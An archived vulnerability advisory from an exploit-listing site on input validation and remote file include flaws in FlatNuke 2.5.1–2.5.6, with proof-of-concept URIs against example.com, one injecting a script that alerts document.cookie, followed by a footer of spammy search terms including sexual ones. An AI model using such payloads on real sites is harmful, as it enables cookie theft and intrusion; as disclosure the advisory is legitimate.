about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive Talk

exploits , vulnerabilities , articles , FlatNuke Index.PHP Multiple Remote File Include Vulnerabilities


Title FlatNuke Index.PHP Multiple Remote File Include Vulnerabilities
Published 2005-10-22-12:00AM
Updated 2005-10-24-09:51PM
Class Input Validation Error
CVE   CVE-MAP-NOMATCH
Remote  Yes
Local  No
Credit  abducter_minds@yahoo.com is credited with the discovery of this vulnerability.
Vulnerable  FlatNuke FlatNuke 2.5.6
FlatNuke FlatNuke 2.5.5
FlatNuke FlatNuke 2.5.4
FlatNuke FlatNuke 2.5.3
FlatNuke FlatNuke 2.5.2
FlatNuke FlatNuke 2.5.1
Not Vulnerable  FlatNuke FlatNuke 2.5.7
Code   No exploit is required.

The following proof of concept URI are available:

http://www.example.com/flatnuke/forum/index.php?op=profile&user=[abducter]
http://www.example.com/flatnuke/forum/index.php?op=topic&quale=[abducter]
http://www.example.com/flatnuke/forum/index.php?op=newtopic&mode=ris&quale=[abducter]&page=1

http://www.example.com/flatnuke/forum/index.php?op=profile&user=%3Cscript%3Ealert(document.cookie);%3C/script%3E
TXT  t3xt 1t!


Advertising

Copyright 2007, SecurityDot
Fri, 18 Dec 2009 06:30:26 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
www.ckeji. www.avizoo windows rc www.xxx vi t70t sexwal indian sex news for c myspace wwwxxxx.co maxcpm.inf PHP Advanc Red tube v CARCARA Tamil acto MS Window indian sex global ann www.free s o my goody RLC Tamil acto news for c 4image 1.7 Celebrity aishwarya www.free s SEXMOVIE battlefiel www.sdh88. bbs.vsie.c Windows ft Arab foto blackporn windows se Shreya Anglinajol ol bookmar roja free directory. dmoz.im www.teaen. www.haofum Playbanana 649032 Anal nudegimai fuck flash sexy viedo home.lt99.